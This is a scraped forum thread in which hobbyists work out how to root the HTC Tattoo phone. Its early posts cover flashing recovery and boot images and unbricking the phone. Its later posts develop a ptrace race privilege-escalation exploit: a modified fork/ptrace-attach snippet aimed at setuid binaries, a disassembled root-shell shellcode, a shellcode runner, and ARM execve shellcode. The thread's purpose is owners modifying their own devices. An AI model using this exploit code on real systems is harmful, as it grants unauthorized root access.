yashsingh1/xdaforums huggingface dataset:
[Click Android Development] ac6729:
I've been searching... and pppd is on /system/bin/pppd

But now... I've no idea... what I can test? I have to run pppd in order to get xploited?
[Click Android Development] zbrahead91:
Incidentally, anyone try running the init binary in the root fs?
[Click Android Development] zifnab06:
*if* someone can post the recovery.img boot mtd image, i'll see what i can do for you guys. no promises though :D
[Click Android Development] mainfram3:
Ask, and you shall be given :D

This is the recovery image from the 1.63 RUU, that accepts updates signed with test keys. _If_ we could flash this recovery, I'm 99% sure we'll be able to use custom roms.
[Click Android Development] 5[Strogino]:
may be help... root permissions needed

#flash_image recovery recovery.img
[Click Android Development] zifnab06:
have you guys tried dd?

dd if=image_name.img of=where_does_it_go_(block_device)

i think flash_image is just a dd wrapper. see what dd does though. you may* need busybox
[Click Android Development] -bm-:
A very exiting message posted in my status thread by user bool_s:

View attachment 286072

The sourcecode for the kernelmodule is also included. I wrote a pm to the user that he should move over to this thread here.

-bm-
[Click Android Development] ronyrad:
Wow!

Thanks a lot from all "Israeli folks". Finally I have hebrew on my phone.

It will be great if you will elaborate about the protection method that was used.

Thanks
[Click Android Development] Sashok:
Ronyrad, Did you really succeeded to add hebrew fonts to Tattoo in this way ?

Can you read/write SMS in hebrew ?
[Click Android Development] bool_s:
Of course you can - this was the whole point of this hack
[Click Android Development] ronyrad:
Yes I can read hebrew. (SMS, Browser,etc..)

To write in hebrew you will have to install AnySoft Keyboard
[Click Android Development] Sashok:
Great news.

Can anybody compile a single executable or batch file that performs all the necessary steps until the system is writable, to make it simple for ordinary users, like it done with Hero.
[Click Android Development] Coburn64:
I can make a bash script to automate this. Will post more info about the idea after school today. Lunch time now and I need a break from computing most of the day. :)
[Click Android Development] Sashok:
I performed the steps to get the root. How do i replace the font ?

What are the commands ?
[Click Android Development] Coburn64:
Have you done the insmod parts and such? If not, you can't replace the fonts.
[Click Android Development] Sashok:
Yes i did it. What now ? I have several font files. How i copy them to the system ? Can i do just the adb push font.ttf /system/fonts ?
[Click Android Development] -bm-:
No, you cant. Move it so the sdcard, then open a root-shell and copy them over to /system/fonts.

But this is the thread for development, in the future please ask support questions here: http://xdaforums.com/showthread.php?t=635961&page=30

-bm-
[Click Android Development] elvisior:
Grrr... I lost my previous post (I was updating it as I tried things).. so in short.

If you have a different version of kernel to what the tattoo-hack.ko module has been compiled for then you'll need to edit it (i used vi).

My kernel version is this: Linux version 2.6.29-g6561203

Once loaded I put a setuid su into /system/bin and power cycled the phone.

./adb shell

$ su

#

In other news.. I finally got a cross compiler working under osx that produces useful binaries and has a decent toolchain (btw it just works out of the box on my linux vm).

Here's a link to a more fully featured busybox build than I've found elsewhere (I tried compiling my own but that was before I had a working toolchain):

http://busybox.net/downloads/binaries/1.16.0/

I really want an rsync static binary for arm. I think I could really stuff my girlfriend's tattoo up with that. I was thinking of using rsync to replace /system from the 2.1 android I've created in the emulator. Does that sound as crazy as I think it is?
[Click Android Development] elvisior:
Found an rsync binary.. :)

http://adqmisc.googlecode.com/svn/t...nc/rsync-3.0.6-arm-softfloat-linux-gnueabi.gz

But I haven't tried anything crazy with it yet. Will do that to an emulated 1.6 and see if I can upgrade it to 2.1.
[Click Android Development] mainfram3:
Elvisior,

What RUU are you running ? I found that kernel version in the recovery image of the RUU that uses the test keys.

About the 2.1, trying to use rsync to update the /system folder is going to give you lots of trouble. Why don't you just build a new system.img ? It would be much easier.
[Click Android Development] marsdroid:
In that init.rc, I think we'd need to edit the following...........

/init.rc is replaced on every reboot

so we need someone to

change

Code:

mount rootfs rootfs / ro remount...and replace it with

mount rootfs rootfs / rw remount

Code:

mount yaffs2 mtd@system /system ro remount...and replace it with

mount yaffs2 mtd@system /system rw remount

Code:

mount yaffs2 mtd@userdata /data nosuid nodev...to...

mount yaffs2 mtd@userdata /data nodev

1. Dump the boot partition (mtd2 IIRC, check in /proc/mtd)

2. Unpack the boot partition you got from 1)

3. Mount the ramdisk, through loopback

4. Pack the new image

5. Post BOOT.IMG and flash with "flash_image boot newboot.img"

allso in the /default.prop

ro.secure=1

need to be ..

ro.secure=0

can someone help with that ramdisk :o ??

THX

Marsdroid
[Click Android Development] cn.fyodor:
I did that and everything goes ok before rebooting. My tattoo hangs on "Tattoo" screen bootlogo now. The boot.img bricks my phone. :(

Fastboot does nothing useful under this condition because of S-ON. And since adb can't detect the phone device through usb cable, no way to make goldcard to splash the 1.67.405.6 ROM.

I have no idea to deal with it. NEED help! Thanks.
[Click Android Development] Coburn64:
Aw ****!

Did you flash the custom recovery?

If so, you could hold down home and boot into custom recovery and do emergency repairs from there.

If it gets stuck at Tattoo bootlogo, this is not good. :(

Sounds like a kernel panic.

You might want to say to the place where you purchased "An update was downloading, and my phone froze. When I manually rebooted, it fails to proceed from here" and get a replacement ASAP.

EDIT: Get a RUU (use Windows XP to flash this, Windows Vista/7 breaks the RUU updater) - the release one, reboot into fastboot USB mode (via holding down VOL Down while booting), and you'll get fastboot USB (connect the usb cable in at this stage). Run the RUU, proceed through the prompts and volia, you should have a unbrick. Not sure if it needs goldcard though.
[Click Android Development] zifnab06:
Have you guys fixed sig-checking? The phone *may* check the boot/system images on start for a key using RSA. Just a thought.

One more idea - do these phones have a copy of cron?

Thanks,
[Click Android Development] cn.fyodor:
Coburn64:

RUU reported 131 error without goldcard. CID of sdcard is necessary to make a gold card, isn't it? Except "adb shell" to get CID, is there another way to find CID of my card or CID is a system-dependent serial number?

Thanks for your help!
[Click Android Development] 5[Strogino]:
Yes. You can search HTC Hero topic. There is more information about creating goldcards.

You need ubuntu/linux computer with sdcard-reader inside. You must get cid-number from card, so usb-card-readers are not compatible, cause they are recognized as disks, not drives

Or you need friend with android-phone)
[Click Android Development] cn.fyodor:
You get the point. I am using debian on my desktop, the card reader seems not be considered as mmcblk*. Thank you!
[Click Android Development] elvisior:
As per: http://osdir.com/ml/android-platform/2009-01/msg00151.html

I've filled /system/app with junk and now I can't delete it.. :(

Any ideas (I did manage to get quite a few apps from cyanogen mod 4 to work though)?
[Click Android Development] Coburn64:
Did you try the fastboot update method?

When the RUU is running, go to Start -> Run and enter %temp%. On windows, this is.

Search for rom.zip.

Copy this file to root of your phone's microsd card (via card reader). Rename to "CLICIMG.zip". Eject MicroSD card, insert it in phone, reboot phone by battery pull/reinsert and just as you do that, hold down VOL DOWN.

You'll get a fastboot screen. Give it a minute, it may look for files CLICDIAG etc. Eventually it'll hit gold, and start loading CLICIMG into RAM. You'll see a progress bar fill up in the top right corner. Text will appear saying what will be done. Accept the update. Phone will flash itself, correcting any issues. You should be right now.
[Click Android Development] gambitvbi:
to cn.fyodor. Hi, sorry for my english. that thing pass to another developer in htcmania post of rooting tattoo, and he could solve it getting the CID code on windows running the ruu when the program checks the version rom in the tattoo. I hope this can help you. I can't put the link to the post, so look for satyr root tatto on google. I've tried to do the same thing that do satyr, but I can't do.
[Click Android Development] mainfram3:
Dont' PANIC! :)

I've made the same mistake. Actually, that was the very first thing I tried after loading tattoo-hack.ko for the first time :D

Since I know you had loaded my recovery image, if you had a backup of boot.img, reflashing it should solve your problem.

If not, boot into HBoot, press back to get into Fastboot mode. Insert the USB cable and you should see "Fastboot USB" in the screen. Now just flash it using your RUU. If you don't have a RUU for your CID, you'll need a goldcard inserted.

EDIT:

If you don't have a backup of boot.img:

- extract it from the RUU's rom (rom.zip from the RUU appears in the temp folder in windows, while having the RUU program running);

- boot into the custom recovery;

- adb shell to mount /sdcard

- adb push boot.img to /sdcard

- adb flash_image boot boot.img
[Click Android Development] cn.fyodor:
To Coburn64:

Yes, fastboot USB update mode makes my tattoo revive! :D

RUU will run with itseft, seems no need to find rom.zip and cp it to sdcard. The key here is to make a GOLDCARD for RUU installation. So i came to the phone store, where i bought my tattoo, inserted my sdcard to G2(the seller provided to me), and recorded the CID. Came back and made my goldcard. That's it.

To gambitvbi:

Thanks for your help! adb daemon could not detect unlaunched phone.

To mainfram3:

I haven't flash your costom recovery image yet. You should warn us about that before.:D
[Click Android Development] elvisior:
Doh.. my tattoo just hangs at the tattoo logo now....

I've tried a couple of ruu's but they dont seem to find the phone .. but the drivers get installed when I plug it in so windows xp sees it.

This sux.. which ruu should I be using? :confused:
[Click Android Development] mainfram3:
Lol :)

If I started a list of things that I've tried and went wrong, I wouldn't have any time left to succeed on others :D

Only exception would be if I did something that would brick my phone. Then I would definitely post warning others not to do it :)

Elvisior,

After booting into hboot, to get your phone recognized by the PC (and the RUU program) you need to enter fastboot mode.
[Click Android Development] marsdroid:
look at the posts above and your good again ...

sry m8
[Click Android Development] elvisior:
My tattoo is still bricked.. :(

Am I correct that this means it is not in RUU and hence why fastboot wont let me flash any of the partitions? (I've made quite a few gold cards now... but I must be missing something as they dont seem to work.. created them on my mac, linux and windows xp)..

./fastboot-mac devices getvar boot-mode

SH9C7LG01620 fastboot
[Click Android Development] 5[Strogino]:
No. You can't kill Tattoo, it's hard.

You can kill it, if you will flash foreign Hboot or flash new radio but remain with old Hboot (they are need to be together...)

Try read instructions carefully. Or write what you did and what you got...
[Click Android Development] elvisior:
Woo! Screw that making a goldcard stuff that I could never get to work.

Just do this...

./fastboot-mac oem rebootRUU

Then you should see a 'htc' logo appear on the phone.

You can confirm you're in RUU mode by running:

./fastboot-mac getvar boot-mode

boot-mode: RUU

And then I passed the usb device through to my windows xp vm and ran a couple of different RUU's (only one of them worked though). And sweet the phone is back in a working state. :D :D :D :D :D :p
[Click Android Development] marsdroid:
finally flashed the boot.img ... no need for the recovery yet...

i need the interface inside the meny...amon_ra alike

THX

Marsdroid
[Click Android Development] mainfram3:
Some modifications are needed to the code:

The exploit works by attaching to a setuid process that is launched by shoryuken. In the initial exploit this program was mount. Since we don't have a setuid mount in our tattoos we need to change this to another program. I tried pppd and netcfg. Ping and ip are also setuid IIRC.

Shoryuken works by forking itself. One of the threads then launches the setuid target program and the other thread tries to exploit it by attaching to it. The original coder verified that it was hard to attach to the correct PID so he inserted a check in the code. It works by reading /proc/$PID/cmdline and comparing the first byte, in an attempt to determine if the attached process is the one spawned by the other thread.

Besides the shellcode, we need (at least) the following modifications:

char *argv[] = {"mount",0};
char *envp[] = {"",0};
child = fork();
if(child == 0) {
execve("/system/bin/mount",argv,envp);
}
else {
if(ptrace(PTRACE_ATTACH, child, NULL, NULL) == 0) {
char buf[256];
sprintf(buf, "/proc/%d/cmdline", child);
int fd = open(buf, O_RDONLY);
read(fd, buf, 2);
close(fd);
if(buf[0] == 'm') {

to

char *argv[] = {"[b]netcfg[/b]",0};
char *envp[] = {"",0};
child = fork();
if(child == 0) {
execve("/system/bin/[b]netcfg[/b]",argv,envp);
}
else {
if(ptrace(PTRACE_ATTACH, child, NULL, NULL) == 0) {
char buf[256];
sprintf(buf, "/proc/%d/cmdline", child);
int fd = open(buf, O_RDONLY);
read(fd, buf, 2);
close(fd);
if(buf[0] == '[b]n[/b]') {

About the shellcode:

I tried to use some shellcode I found in a Phrack article but it was late and I don't have the skillz to verify it. That shellcode was supposed to call a program named execme. It never succeeded :(

This is about as far as I can go without loosing many, many hours diving into ARM asm and the internals of the linux kernel. I believe this is the time to get some help from some other devs (maybe the people who wrote the original asroot exploit). I'll try crossposting this in the Droid Eris forum, they have a nice team of interested people over there.
[Click Android Development] leon1984:
I do not have understood very well my English is very bad.

When you throw a sentence fork normally creates a child with pid == 0, the child and parent are executing concurrently, so if you want the parent wait for the son, not going to work.

Does the parent must wait for the task of the child?

Does the child may be terminated if their work is finished?

thx
[Click Android Development] binny1007:
I beleave metasploit can convert shell code to ARM, it may be worth checking out.
[Click Android Development] Coburn64:
Hijack my thread to start a rooting method... Nice one. :P (No, I'm not angry, just laughed how it just changed thread title suddenly). Anyway, was just looking on a HTC Hero entry on eBay but this sparked my Android hacking fire again.

Couldn't we use some of the busybox applets to help the exploit?
[Click Android Development] t33g33:
This is quite fun..

Do you have a link to that article?

I was curious as to what exactly that shellcode in the original exploit does..

Disassembly of section .data:

00000000 <shellcode>:
0: 90 nop
[more nops]
1c: 90 nop
1d: 90 nop
1e: 90 nop
1f: 6a 23 push $0x23
21: 58 pop %eax
22: 31 db xor %ebx,%ebx
24: cd 80 int $0x80
26: 31 db xor %ebx,%ebx
28: 8d 43 17 lea 0x17(%ebx),%eax
2b: cd 80 int $0x80
2d: 31 c0 xor %eax,%eax
2f: 50 push %eax
30: 68 2f 2f 73 68 push $0x68732f2f
35: 68 2f 62 69 6e push $0x6e69622f
3a: 89 e3 mov %esp,%ebx
3c: 50 push %eax
3d: 53 push %ebx
3e: 89 e1 mov %esp,%ecx
40: 99 cltd
41: b0 0b mov $0xb,%al
43: cd 80 int $0x80

Which performs, as far as I can tell, the folowing syscalls:

- 0x23 ftime (0)

- 0x17 setuid (0)

- 0x0b execve ("/bin//sh")

Don't know if I got that right; the code seems odd to me (or just over my head :) ). The ftime syscall seems particularly incorrect..

No idea what all the nops in the beginning are trying to align.
[Click Android Development] HT123:
Shell Code

Hello.

I have been working on this on the eris. I am not sure on the tattoo but for us sh is not in /bin it is in /system/bin

The phrak article is pretty much a copy of a paper called "filter-resistant code injection into arm."

i found two other resources for arm shell code.

Shellforge_G1 by Philippe Biondi

and

Into my arms

developing STrongARM/Linux shellcode.

I haven't had time to give either a shot but i think both are worth a deeper read. I found them pretty late last night.
[Click Android Development] mainfram3:
The Phrack article does indeed seem way too advanced for what we need here.

The "Into my arms" article is here: http://www.isec.pl/papers/into_my_arms_dsls.pdf , but it's written for StrongARM and there may be some diffrences, as the author refers.

I've had no luck with the sample shellcode from that article though.

I'm using this sample code to inject shellcode and test it in the Tattoo, maybe it will help someone else:

#include <stdio.h>

char shellcode[]= "YOUR SHELLCODE HERE";
int main(void) { ((void (*)())shellcode)(); }
[Click Android Development] binny1007:
Will this help at all http://hexblog.com/2010/01/debugging_arm_code_snippets_in_1.html
[Click Android Development] jamezelle:
i tried netcfg with the eris no go

going to try ip next

im also using the sample shellcode from phrak as well
[Click Android Development] zanfur:
Long time watcher, first post.

I don't know ARM, but I know exploits. With this exploit, it doesn't matter at all what the binary is. What's happening is that there is a small slice of time between when the exec happens (giving the process root permissions) and when the kernel realizes that it shouldn't let non-root processes perform debugging operations on it. It's likely a synchronization issue, where part of the debug attach happens, then the exec happens, then the rest of the debug attach happens.

Once you're attached, it makes no difference whatsoever what the original binary is, because you're going to overwrite it in memory with the debug attachment you've got. It just matters that it was setuid root to begin with, so that you're now writing memory that a *root* process will then execute.

This shellcode payload should be much simpler to create than with most exploits, because you're just overwriting the code in memory with your own. All you need is appropriately aligned code that calls the execve syscall for whatever you'd like to run as root.
[Click Android Development] zanfur:
char shellcode[]= "\x02\x20\x42\xe0" /* sub r2, r2, r2 */
"\x14\x30\x8f\xe2" /* add r3, pc, #20 (0x14) */
"\x04\x30\x8d\xe5" /* str r3, [sp, #4] */
"\x08\x20\x8d\xe5" /* str r2, [sp, #8] */
"\x13\x02\xa0\xe1" /* mov r0, r3, lsl r2 */
"\x04\x10\x8d\xe2" /* add r1, sp, #4 */
"\x08\x20\x8d\xe2" /* add r2, sp, #8 */
"\x0b\x00\x90\xef" /* swi 0x90000b */
"/file/to/run";

This sets up the call execve("/file/to/run", {"/bin/sh", null}, {null}). Specifically, is sticks a pointer to "/file/to/run" on the stack, puts a null pointer after it, copies the pointer to "/file/to/run" to r0 (for the filename), puts a pointer to the pointer to "/file/to/run" pointer r1 (for argv), and puts a pointer to the null pointer in r2 (for envp).

This shellcode isn't terribly useful for most exploits, because it uses a zero-byte which would make it useless for buffer overflows, but it will work for this. Just change "/file/to/run" to any file you please, and it will run.

This is untested (don't have an ARM proc handy), but the concept should work even if the specific code does not. Hope it helps.

(credit to the ARM shellcode tutorial of phrack.com for the list of syscall entry points and instruction encoding.)
[Click Android Development] mainfram3:
Hi.

I'm kinda familiar with that shellcode technique for x86 and I have one question:

In the first line, ( add r3, pc, #20 (0x14) ) #20 is the number of bytes that equals the length of the 1st param to execve, right ? So, it's needed to adapt this number to the length of the string (is your example "/file/to/run"), right ?

I've tried the shellcode in my "injector" program and in the shoryuken exploit, but without success :S

Regards,

mf3
[Click Android Development] jamezelle:
i have tried this shellcode pointing at /system/bin/sh using both ip and mount as the suid process, without success. i did manage to win the race and it did write the shellcode but did not execute /system/bin/sh
[Click Android Development] :
the tattoo has no "mount" command.

maybe you should try with "pppd"
[Click Android Development] bftb0:
The ARM shellcodes that some have been posting here obviously won't work with the milw0rm sploit as written because of embedded nulls - for starters, the use of strlen() to terminate the poke into the child (and possibly other hazards, too.)

The original Phrack/funkysh execve() StrongARM shellcode is a little tricky; to avoid the appearance of nulls in the shellcode, the idea is that you patch zeros into the code "on the fly" after it has been stuffed into the child process' code pages. This is done twice in the demonstration ARM code (one byte each time) using the "strb" opcode: once to null terminate the command string, and once to patch a needed zero into the interrupt "swi" opcode.

I've been down the same road as jamezelle with the Eris (/system/bin/ip -> /system/bin/sh) making the required opcode adjustments to the ARM code (BTW, you can verify the disassembly of the shellcode using arm-eabi-objdump -D) and it is clear that there is a race, and a ptrace() attachment, but no joy so far.

ptrace() only seems to report values at PC, SP, and a couple of low-register values. I tried stuffing the code right at the PC, and on a psuedo-NOP ramp a few words beyond - no joy so far.

At the moment, one thing that concerns me is the assumption that SWI at a particular address (0x90000b) results in a execve() - that Phrack article was written in 2001, and there's been a lot of Linux kernel development work since that time. It's not clear to me that a SWI syscall() approach is used any longer... or if it is, that 0x90000b is the correct base address.

bftb0
[Click Android Development] mainfram3:
I had completely missed the strlen. Since we're not exploiting a buffer overflow, and we're injecting code directly, we should be able to use nulls. Probably safer to patch the injection code (remove the strlen, hardcode the shellcode buffer size is the most immediate solution) then having to worry about self-modifying ARM asm.

About the execve syscal, 0x90000b is correct. Check linux-syscalls.h in the NDK or in the source code for the Tattoo kernel.

Still, isn't it safer to use a small program to try to run the shellcode and verify that it works, than try to run it through the exploit ? Please check my previous post on this thread.